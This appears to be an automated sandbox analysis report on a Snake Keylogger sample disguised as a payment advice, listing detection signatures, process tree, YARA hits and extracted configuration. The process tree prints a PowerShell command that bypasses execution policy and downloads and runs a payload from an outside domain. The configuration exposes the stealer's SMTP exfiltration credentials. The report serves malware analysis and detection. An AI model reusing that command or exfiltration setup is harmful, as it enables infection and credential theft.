Edit tour

Windows Analysis Report
Payment_Advice.exe

Overview

General Information

Sample name:	Payment_Advice.exe
Analysis ID:	1434636
MD5:	e708aa3160e224de971421d5bc2fee29
SHA1:	7db6e4d3e5e2db1cd12717fa9a62a35a52834c02
SHA256:	ba78d6ffbd1bd564598b33a3d28d437b3fe7129ffb93dee80e732e44098b9aa9
Tags:	exe
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Bypasses PowerShell execution policy

Drops PE files with a suspicious file extension

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Powershell drops PE file

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Payment_Advice.exe (PID: 1228 cmdline: "C:\Users\user\Desktop\Payment_Advice.exe" MD5: E708AA3160E224DE971421D5BC2FEE29)

Payment_Advice.exe (PID: 4208 cmdline: "C:\Users\user\Desktop\Payment_Advice.exe" MD5: E708AA3160E224DE971421D5BC2FEE29)

wscript.exe (PID: 2436 cmdline: "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 4912 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 5760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Payment_Advice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2928 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1700,i,16204253092957558570,3256571588782708314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

hadvices.scr (PID: 3024 cmdline: "C:\Windows\Temp\hadvices.scr" /S MD5: 012DE24142F859797FBB5A25A7A3290D)

hadvices.scr (PID: 8336 cmdline: "C:\Windows\Temp\hadvices.scr" MD5: 012DE24142F859797FBB5A25A7A3290D)

svchost.exe (PID: 7176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "test@qoldenfrontier.com", "Password": "%2WMoWREUv@3", "Host": "mail.qoldenfrontier.com", "Port": "587"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Payment_Advice.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\hadvices.scr	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1198685438.0000000005590000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x3546d:$x1: In$J$ct0r
00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14857:$a1: get_encryptedPassword 0x14b4d:$a2: get_encryptedUsername 0x14663:$a3: get_timePasswordChanged 0x1475e:$a4: get_passwordField 0x1486d:$a5: set_encryptedPassword 0x15ebf:$a7: get_logins 0x15e22:$a10: KeyLoggerEventArgs 0x15abb:$a11: KeyLoggerEventArgsEventHandler
00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x181b8:$x1: $%SMTPDV$ 0x1821c:$x2: $#TheHashHere%& 0x19899:$x3: %FTPDV$ 0x1998d:$x4: $%TelegramDv$ 0x15abb:$x5: KeyLoggerEventArgs 0x15e22:$x5: KeyLoggerEventArgs 0x198bd:$m2: Clipboard Logs ID 0x19a89:$m2: Screenshot Logs ID 0x19b55:$m2: keystroke Logs ID 0x19a61:$m4: \SnakeKeylogger\
00000019.00000002.2455454438.0000000003419000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x56447:$a1: get_encryptedPassword 0x76e77:$a1: get_encryptedPassword 0x97697:$a1: get_encryptedPassword 0x5673d:$a2: get_encryptedUsername 0x7716d:$a2: get_encryptedUsername 0x9798d:$a2: get_encryptedUsername 0x56253:$a3: get_timePasswordChanged 0x76c83:$a3: get_timePasswordChanged 0x974a3:$a3: get_timePasswordChanged 0x5634e:$a4: get_passwordField 0x76d7e:$a4: get_passwordField 0x9759e:$a4: get_passwordField 0x5645d:$a5: set_encryptedPassword 0x76e8d:$a5: set_encryptedPassword 0x976ad:$a5: set_encryptedPassword 0x57aaf:$a7: get_logins 0x784df:$a7: get_logins 0x98cff:$a7: get_logins 0x57a12:$a10: KeyLoggerEventArgs 0x78442:$a10: KeyLoggerEventArgs 0x98c62:$a10: KeyLoggerEventArgs
00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x59da8:$x1: $%SMTPDV$ 0x7a7d8:$x1: $%SMTPDV$ 0x9aff8:$x1: $%SMTPDV$ 0x59e0c:$x2: $#TheHashHere%& 0x7a83c:$x2: $#TheHashHere%& 0x9b05c:$x2: $#TheHashHere%& 0x5b489:$x3: %FTPDV$ 0x7beb9:$x3: %FTPDV$ 0x9c6d9:$x3: %FTPDV$ 0x5b57d:$x4: $%TelegramDv$ 0x7bfad:$x4: $%TelegramDv$ 0x9c7cd:$x4: $%TelegramDv$ 0x576ab:$x5: KeyLoggerEventArgs 0x57a12:$x5: KeyLoggerEventArgs 0x780db:$x5: KeyLoggerEventArgs 0x78442:$x5: KeyLoggerEventArgs 0x988fb:$x5: KeyLoggerEventArgs 0x98c62:$x5: KeyLoggerEventArgs 0x5b4ad:$m2: Clipboard Logs ID 0x5b679:$m2: Screenshot Logs ID 0x5b745:$m2: keystroke Logs ID
Process Memory Space: Payment_Advice.exe PID: 1228	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: hadvices.scr PID: 3024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hadvices.scr PID: 3024	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: hadvices.scr PID: 3024	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: hadvices.scr PID: 3024	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x7b349:$a1: get_encryptedPassword 0x7b635:$a2: get_encryptedUsername 0x7b15f:$a3: get_timePasswordChanged 0x7b25a:$a4: get_passwordField 0x7b35f:$a5: set_encryptedPassword 0x7d79a:$a7: get_logins 0x7d6fd:$a10: KeyLoggerEventArgs 0x7d396:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: hadvices.scr PID: 3024	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x7d396:$x5: KeyLoggerEventArgs 0x7d6fd:$x5: KeyLoggerEventArgs 0x7dfeb:$x5: KeyLoggerEventArgs 0x7e31f:$x5: KeyLoggerEventArgs 0x7f940:$m2: Clipboard Logs ID 0x7fa20:$m2: Screenshot Logs ID 0x7fa54:$m2: keystroke Logs ID 0x7fa0c:$m4: \SnakeKeylogger\
Process Memory Space: hadvices.scr PID: 8336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hadvices.scr PID: 8336	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: hadvices.scr PID: 8336	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5fcc9:$a1: get_encryptedPassword 0x5ffb5:$a2: get_encryptedUsername 0x5fadf:$a3: get_timePasswordChanged 0x5fbda:$a4: get_passwordField 0x5fcdf:$a5: set_encryptedPassword 0x6211a:$a7: get_logins 0x6207d:$a10: KeyLoggerEventArgs 0x61d16:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: hadvices.scr PID: 8336	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x61d16:$x5: KeyLoggerEventArgs 0x6207d:$x5: KeyLoggerEventArgs 0x6296b:$x5: KeyLoggerEventArgs 0x62c9f:$x5: KeyLoggerEventArgs 0x642c0:$m2: Clipboard Logs ID 0x643a0:$m2: Screenshot Logs ID 0x643d4:$m2: keystroke Logs ID 0x6438c:$m4: \SnakeKeylogger\
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
23.2.hadvices.scr.3e03d90.4.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x48e6b:$x1: In$J$ct0r
0.2.Payment_Advice.exe.5590000.4.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x3546d:$x1: In$J$ct0r
0.2.Payment_Advice.exe.404e590.3.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x3366d:$x1: In$J$ct0r
0.2.Payment_Advice.exe.31018e4.0.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x165dc:$x1: In$J$ct0r 0x182d0:$a1: WriteProcessMemory 0x1835c:$a1: WriteProcessMemory 0x18430:$a4: VirtualAllocEx 0x18654:$a4: VirtualAllocEx 0x186d4:$a4: VirtualAllocEx 0x16894:$s3: net.pipe 0x168b4:$s4: vsmacros
0.2.Payment_Advice.exe.31018e4.0.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x165dc:$x1: In$J$ct0r 0x182d0:$a1: WriteProcessMemory 0x1835c:$a1: WriteProcessMemory 0x18430:$a4: VirtualAllocEx 0x18654:$a4: VirtualAllocEx 0x186d4:$a4: VirtualAllocEx 0x16894:$s3: net.pipe 0x168b4:$s4: vsmacros
0.2.Payment_Advice.exe.404e590.3.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x3546d:$x1: In$J$ct0r
0.2.Payment_Advice.exe.5590000.4.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x3366d:$x1: In$J$ct0r
23.2.hadvices.scr.5330000.5.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x48e6b:$x1: In$J$ct0r
23.2.hadvices.scr.3e979f0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
23.2.hadvices.scr.3e979f0.3.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.hadvices.scr.3e979f0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c57:$a1: get_encryptedPassword 0x12f4d:$a2: get_encryptedUsername 0x12a63:$a3: get_timePasswordChanged 0x12b5e:$a4: get_passwordField 0x12c6d:$a5: set_encryptedPassword 0x142bf:$a7: get_logins 0x14222:$a10: KeyLoggerEventArgs 0x13ebb:$a11: KeyLoggerEventArgsEventHandler
23.2.hadvices.scr.3e979f0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a5e7:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19819:$a3: \Google\Chrome\User Data\Default\Login Data 0x19c4c:$a4: \Orbitum\User Data\Default\Login Data 0x1ac8b:$a5: \Kometa\User Data\Default\Login Data
23.2.hadvices.scr.3e979f0.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13835:$s1: UnHook 0x1383c:$s2: SetHook 0x13844:$s3: CallNextHook 0x13851:$s4: _hook
23.2.hadvices.scr.3e979f0.3.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x165b8:$x1: $%SMTPDV$ 0x1661c:$x2: $#TheHashHere%& 0x17c99:$x3: %FTPDV$ 0x17d8d:$x4: $%TelegramDv$ 0x13ebb:$x5: KeyLoggerEventArgs 0x14222:$x5: KeyLoggerEventArgs 0x17cbd:$m2: Clipboard Logs ID 0x17e89:$m2: Screenshot Logs ID 0x17f55:$m2: keystroke Logs ID 0x17e61:$m4: \SnakeKeylogger\
25.2.hadvices.scr.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
25.2.hadvices.scr.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
25.2.hadvices.scr.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
25.2.hadvices.scr.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a57:$a1: get_encryptedPassword 0x14d4d:$a2: get_encryptedUsername 0x14863:$a3: get_timePasswordChanged 0x1495e:$a4: get_passwordField 0x14a6d:$a5: set_encryptedPassword 0x160bf:$a7: get_logins 0x16022:$a10: KeyLoggerEventArgs 0x15cbb:$a11: KeyLoggerEventArgsEventHandler
25.2.hadvices.scr.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c3e7:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b619:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ba4c:$a4: \Orbitum\User Data\Default\Login Data 0x1ca8b:$a5: \Kometa\User Data\Default\Login Data
25.2.hadvices.scr.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15635:$s1: UnHook 0x1563c:$s2: SetHook 0x15644:$s3: CallNextHook 0x15651:$s4: _hook
25.2.hadvices.scr.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183b8:$x1: $%SMTPDV$ 0x1841c:$x2: $#TheHashHere%& 0x19a99:$x3: %FTPDV$ 0x19b8d:$x4: $%TelegramDv$ 0x15cbb:$x5: KeyLoggerEventArgs 0x16022:$x5: KeyLoggerEventArgs 0x19abd:$m2: Clipboard Logs ID 0x19c89:$m2: Screenshot Logs ID 0x19d55:$m2: keystroke Logs ID 0x19c61:$m4: \SnakeKeylogger\
23.2.hadvices.scr.3eb8420.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
23.2.hadvices.scr.3eb8420.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.hadvices.scr.3eb8420.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c57:$a1: get_encryptedPassword 0x12f4d:$a2: get_encryptedUsername 0x12a63:$a3: get_timePasswordChanged 0x12b5e:$a4: get_passwordField 0x12c6d:$a5: set_encryptedPassword 0x142bf:$a7: get_logins 0x14222:$a10: KeyLoggerEventArgs 0x13ebb:$a11: KeyLoggerEventArgsEventHandler
23.2.hadvices.scr.3eb8420.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a5e7:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19819:$a3: \Google\Chrome\User Data\Default\Login Data 0x19c4c:$a4: \Orbitum\User Data\Default\Login Data 0x1ac8b:$a5: \Kometa\User Data\Default\Login Data
23.2.hadvices.scr.3eb8420.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13835:$s1: UnHook 0x1383c:$s2: SetHook 0x13844:$s3: CallNextHook 0x13851:$s4: _hook
23.2.hadvices.scr.3eb8420.2.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x165b8:$x1: $%SMTPDV$ 0x1661c:$x2: $#TheHashHere%& 0x17c99:$x3: %FTPDV$ 0x17d8d:$x4: $%TelegramDv$ 0x13ebb:$x5: KeyLoggerEventArgs 0x14222:$x5: KeyLoggerEventArgs 0x17cbd:$m2: Clipboard Logs ID 0x17e89:$m2: Screenshot Logs ID 0x17f55:$m2: keystroke Logs ID 0x17e61:$m4: \SnakeKeylogger\
23.2.hadvices.scr.3e979f0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
23.2.hadvices.scr.3e979f0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.Payment_Advice.exe.c30000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.hadvices.scr.3e979f0.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.hadvices.scr.3e979f0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a57:$a1: get_encryptedPassword 0x35487:$a1: get_encryptedPassword 0x55ca7:$a1: get_encryptedPassword 0x14d4d:$a2: get_encryptedUsername 0x3577d:$a2: get_encryptedUsername 0x55f9d:$a2: get_encryptedUsername 0x14863:$a3: get_timePasswordChanged 0x35293:$a3: get_timePasswordChanged 0x55ab3:$a3: get_timePasswordChanged 0x1495e:$a4: get_passwordField 0x3538e:$a4: get_passwordField 0x55bae:$a4: get_passwordField 0x14a6d:$a5: set_encryptedPassword 0x3549d:$a5: set_encryptedPassword 0x55cbd:$a5: set_encryptedPassword 0x160bf:$a7: get_logins 0x36aef:$a7: get_logins 0x5730f:$a7: get_logins 0x16022:$a10: KeyLoggerEventArgs 0x36a52:$a10: KeyLoggerEventArgs 0x57272:$a10: KeyLoggerEventArgs
23.2.hadvices.scr.3e979f0.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c3e7:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ce17:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5d637:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b619:$a3: \Google\Chrome\User Data\Default\Login Data 0x3c049:$a3: \Google\Chrome\User Data\Default\Login Data 0x5c869:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ba4c:$a4: \Orbitum\User Data\Default\Login Data 0x3c47c:$a4: \Orbitum\User Data\Default\Login Data 0x5cc9c:$a4: \Orbitum\User Data\Default\Login Data 0x1ca8b:$a5: \Kometa\User Data\Default\Login Data 0x3d4bb:$a5: \Kometa\User Data\Default\Login Data 0x5dcdb:$a5: \Kometa\User Data\Default\Login Data
23.2.hadvices.scr.3e979f0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15635:$s1: UnHook 0x36065:$s1: UnHook 0x56885:$s1: UnHook 0x1563c:$s2: SetHook 0x3606c:$s2: SetHook 0x5688c:$s2: SetHook 0x15644:$s3: CallNextHook 0x36074:$s3: CallNextHook 0x56894:$s3: CallNextHook 0x15651:$s4: _hook 0x36081:$s4: _hook 0x568a1:$s4: _hook
23.2.hadvices.scr.3e979f0.3.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183b8:$x1: $%SMTPDV$ 0x38de8:$x1: $%SMTPDV$ 0x59608:$x1: $%SMTPDV$ 0x1841c:$x2: $#TheHashHere%& 0x38e4c:$x2: $#TheHashHere%& 0x5966c:$x2: $#TheHashHere%& 0x19a99:$x3: %FTPDV$ 0x3a4c9:$x3: %FTPDV$ 0x5ace9:$x3: %FTPDV$ 0x19b8d:$x4: $%TelegramDv$ 0x3a5bd:$x4: $%TelegramDv$ 0x5addd:$x4: $%TelegramDv$ 0x15cbb:$x5: KeyLoggerEventArgs 0x16022:$x5: KeyLoggerEventArgs 0x366eb:$x5: KeyLoggerEventArgs 0x36a52:$x5: KeyLoggerEventArgs 0x56f0b:$x5: KeyLoggerEventArgs 0x57272:$x5: KeyLoggerEventArgs 0x19abd:$m2: Clipboard Logs ID 0x19c89:$m2: Screenshot Logs ID 0x19d55:$m2: keystroke Logs ID
23.2.hadvices.scr.3eb8420.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
23.2.hadvices.scr.3eb8420.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.hadvices.scr.3eb8420.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.hadvices.scr.3eb8420.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a57:$a1: get_encryptedPassword 0x35277:$a1: get_encryptedPassword 0x14d4d:$a2: get_encryptedUsername 0x3556d:$a2: get_encryptedUsername 0x14863:$a3: get_timePasswordChanged 0x35083:$a3: get_timePasswordChanged 0x1495e:$a4: get_passwordField 0x3517e:$a4: get_passwordField 0x14a6d:$a5: set_encryptedPassword 0x3528d:$a5: set_encryptedPassword 0x160bf:$a7: get_logins 0x368df:$a7: get_logins 0x16022:$a10: KeyLoggerEventArgs 0x36842:$a10: KeyLoggerEventArgs 0x15cbb:$a11: KeyLoggerEventArgsEventHandler 0x364db:$a11: KeyLoggerEventArgsEventHandler
23.2.hadvices.scr.3eb8420.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c3e7:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cc07:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b619:$a3: \Google\Chrome\User Data\Default\Login Data 0x3be39:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ba4c:$a4: \Orbitum\User Data\Default\Login Data 0x3c26c:$a4: \Orbitum\User Data\Default\Login Data 0x1ca8b:$a5: \Kometa\User Data\Default\Login Data 0x3d2ab:$a5: \Kometa\User Data\Default\Login Data
23.2.hadvices.scr.3eb8420.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15635:$s1: UnHook 0x35e55:$s1: UnHook 0x1563c:$s2: SetHook 0x35e5c:$s2: SetHook 0x15644:$s3: CallNextHook 0x35e64:$s3: CallNextHook 0x15651:$s4: _hook 0x35e71:$s4: _hook
23.2.hadvices.scr.3eb8420.2.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183b8:$x1: $%SMTPDV$ 0x38bd8:$x1: $%SMTPDV$ 0x1841c:$x2: $#TheHashHere%& 0x38c3c:$x2: $#TheHashHere%& 0x19a99:$x3: %FTPDV$ 0x3a2b9:$x3: %FTPDV$ 0x19b8d:$x4: $%TelegramDv$ 0x3a3ad:$x4: $%TelegramDv$ 0x15cbb:$x5: KeyLoggerEventArgs 0x16022:$x5: KeyLoggerEventArgs 0x364db:$x5: KeyLoggerEventArgs 0x36842:$x5: KeyLoggerEventArgs 0x19abd:$m2: Clipboard Logs ID 0x19c89:$m2: Screenshot Logs ID 0x19d55:$m2: keystroke Logs ID 0x3a2dd:$m2: Clipboard Logs ID 0x3a4a9:$m2: Screenshot Logs ID 0x3a575:$m2: keystroke Logs ID 0x19c61:$m4: \SnakeKeylogger\ 0x3a481:$m4: \SnakeKeylogger\
23.2.hadvices.scr.2dbf460.0.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xcc0d8:$x1: In$J$ct0r 0xcdd4c:$a1: WriteProcessMemory 0xcddd8:$a1: WriteProcessMemory 0xcdeac:$a4: VirtualAllocEx 0xce0d0:$a4: VirtualAllocEx 0xce150:$a4: VirtualAllocEx 0x10cf8:$s3: net.pipe 0xcc370:$s3: net.pipe 0xcc390:$s4: vsmacros
23.2.hadvices.scr.2dc1ca0.1.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xc9898:$x1: In$J$ct0r 0xcb50c:$a1: WriteProcessMemory 0xcb598:$a1: WriteProcessMemory 0xcb66c:$a4: VirtualAllocEx 0xcb890:$a4: VirtualAllocEx 0xcb910:$a4: VirtualAllocEx 0xe4b8:$s3: net.pipe 0xc9b30:$s3: net.pipe 0xc9b50:$s4: vsmacros
